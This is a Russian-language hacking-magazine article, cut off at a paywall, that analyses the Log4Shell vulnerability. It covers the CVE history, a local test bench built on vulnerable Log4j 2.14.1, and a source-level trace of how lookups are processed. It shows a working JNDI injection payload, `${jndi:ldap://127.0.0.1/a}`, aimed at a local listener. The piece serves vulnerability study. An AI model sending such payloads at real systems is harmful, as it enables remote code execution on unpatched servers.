Содержание статьи
Заголовки новостей пестрят ужасными сообщениями о том, что проблема охватывает половину компьютерного мира. А взломать через нее якобы можно всё — от сервера Minecraft твоего соседа до крупных корпораций вроде Apple.
На GitHub есть несколько репозиториев, например, Log4jAttackSurface или log4shell со списками уязвимого ПО (с блэкджеком и пруфами, разумеется!). Даже в «Википедии» уже есть статья о Log4Shell!
Давай разбираться так ли страшен черт, как его малюют, с чего все началось и почему баг получил такую огласку.
Как нашли уязвимость
Начнем с небольшой преамбулы. Баг был обнаружен экспертом Чен Чжаоцзюнь (Zhaojun Chen) из команды Alibaba Cloud Security. Детали уязвимости были отправлены в Apache Foundation 24 ноября 2021 года. В публичный доступ они попали чуть позже — 9 декабря. В твиттере завирусился пост, в котором была пара картинок, изображающих результат успешной эксплуатации — запущенный калькулятор. На первом скрине был затерт пейлоад, но вторая картинка и кусок кода из первой намекали, где и что нужно искать. Помимо этого в посте была ссылка на pull-реквест с фиксом, прямо скажем не слишком удачным! Сейчас пост в твиттере уже удален и посмотреть можно только через Internet Archive.
В этот же день на GitHub появился PoC с деталями эксплуатации. Когда уязвимость обзавелась собственным идентификатором CVE-2021-44228, репозиторий переименовали, а затем и вовсе удалили. Как видишь, увидеть начало истории сейчас можно только благодаря архивам.
К слову, баг получил максимальный балл (10) по стандарту CVSS из‑за его простой эксплуатации, не требующей никаких прав, и серьезности последствий для атакуемой системы.
Итак, эксплоит получил распространение и начал уходить в массы, люди стали тестировать пейлоады повсеместно и обнаруживать уязвимые продукты. Давай в деталях посмотрим, в чем причина уязвимости, какие были обходы и патчи и в каких продуктах.
Найденные уязвимости
CVE-2021-44228 — злоумышленник, который может контролировать сообщения журнала или параметры сообщений журнала, может выполнить произвольный код, загруженный с серверов LDAP через JNDI. Проблема затрагивает версии Apache Log4j2 2.0-beta9 до 2.15.0 (за исключением исправлений безопасности 2.12.2, 2.12.3 и 2.3.1) уязвимы к удаленному выполнению произвольного кода через JNDI.
CVE-2021-45046 — злоумышленник, контролирующий через Thread Context Map (MDC) динамические данные в сообщениях журналов событий, может создать пейлоад с использованием JNDILookup, который приведет к утечке информации и удаленному выполнению кода в некоторых конфигурациях Log4j и локальному выполнению кода во всех конфигурациях. Проблема присутствует из‑за не полностью исправленной уязвимости CVE-2021-44228 в Log4j 2.15.0.
CVE-2021-45105 — из‑за проблемы неконтролируемой рекурсии, злоумышленник специально сформированным сообщением журнала событий может вызвать отказ в обслуживании. Проблема затрагивает версии Log4j2 начиная с 2.0-alpha1 и до 2.16.0 (за исключением 2.12.3 and 2.3.1).
CVE-2021-44832 — Злоумышленник, имеющий доступ к изменению настроек логирования, может создать такую конфигурацию, через которую возможно удаленное выполнение кода. Для этого используется JDBC Appender с источником данных, ссылающимся на JNDI URI. Проблема затрагивает все версии Log4j2 начиная с 2.0-beta7 и до 2.17.0.
Стенд
Театр, как известно, начинается с вешалки, а тестирование уязвимости — со стенда В качестве основной системы я буду использовать Windows и IntelliJ IDEA для компиляции и отладки.
Cоздаем пустой проект на Java с использованием gradle. Добавляем в зависимости уязвимую версию Log4j, например, 2.14.1.
build.gradle
dependencies { implementation 'org.apache.logging.log4j:log4j-api:2.14.1' implementation 'org.apache.logging.log4j:log4j-core:2.14.1'}
Потом создаем класс где аргумент, который мы передадим программе, будет логироваться.
src/main/java/logger/Test.java
package logger;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Test { private static final Logger logger = LogManager.getLogger(Test.class); public static void main(String[] args) { String msg = (args.length > 0 ? String.join(" ", args) : ""); logger.error(msg); }}
Теперь укажем главный класс, который должен вызываться при запуске.
build.gradle
plugins { id 'java' id 'application'}...mainClassName = 'logger.Test'
Все готово, можно запускать. Параметры в логгер передаем в качестве аргументов с помощью флага --args
:
gradlew run --args='hello world'
Теперь настало время протестировать работу уязвимости, для этого возьмем простой пейлоад ${
и передадим его в качестве параметра. Только не забудь сначала поставить на прослушку 389 порт.
gradlew run --args='${jndi:ldap://127.0.0.1/a}'
Коннект приходит, а это значит, что уязвимость успешно проэксплуатирована. Этого пока достаточно для дальнейшего препарирования.
Детали уязвимости
Попробуем разобраться, почему эта загадочная конструкция вообще выполняется.
По сути, конструкции вида ${
используются в динамических строках, которые преобразуются разными реализациями класса StringSubstitutor. Да не осудят меня Java сеньоры, я буду считать, что это просто переменные.
Теперь скачаем исходники нашей версии библиотеки Log4j. Интересующая нас обработка логируемого события начинается в методе format
класса MessagePatternConverter
.
org/apache/logging/log4j/core/pattern/MessagePatternConverter.java
public final class MessagePatternConverter extends LogEventPatternConverter { ... public void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); ... if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } }
Этот цикл проверяет наличие конструкции ${
в сообщении. Если она присутствует, управление передается классу StrSubstitutor
для дальнейшей обработки.
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public class StrSubstitutor implements ConfigurationAware { ... public static final char DEFAULT_ESCAPE = '$'; ... public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{"); ... public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");
Здесь можно видеть инициализацию дефолтного префикса (${
) и суффикса (}
). Далее по коду видим метод substitute
.
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrMatcher getVariablePrefixMatcher() { return prefixMatcher;}...public StrMatcher getVariableSuffixMatcher() { return suffixMatcher;}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { final StrMatcher prefixMatcher = getVariablePrefixMatcher(); final StrMatcher suffixMatcher = getVariableSuffixMatcher();
Он снова выполняет поиск таких конструкций (${
) по содержимому логируемого события, только в этот раз проверяет наличие суффикса }
, чтобы определить действительно ли нужна дальнейшая обработка.
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
while (pos < bufEnd) { final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); if (startMatchLen == 0) { pos++; } else // found variable start marker
Метод prefixMatcher.
, как видно из названия, находит начало конструкции, символы ${
. Проверка выполняется методом isMatch
.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»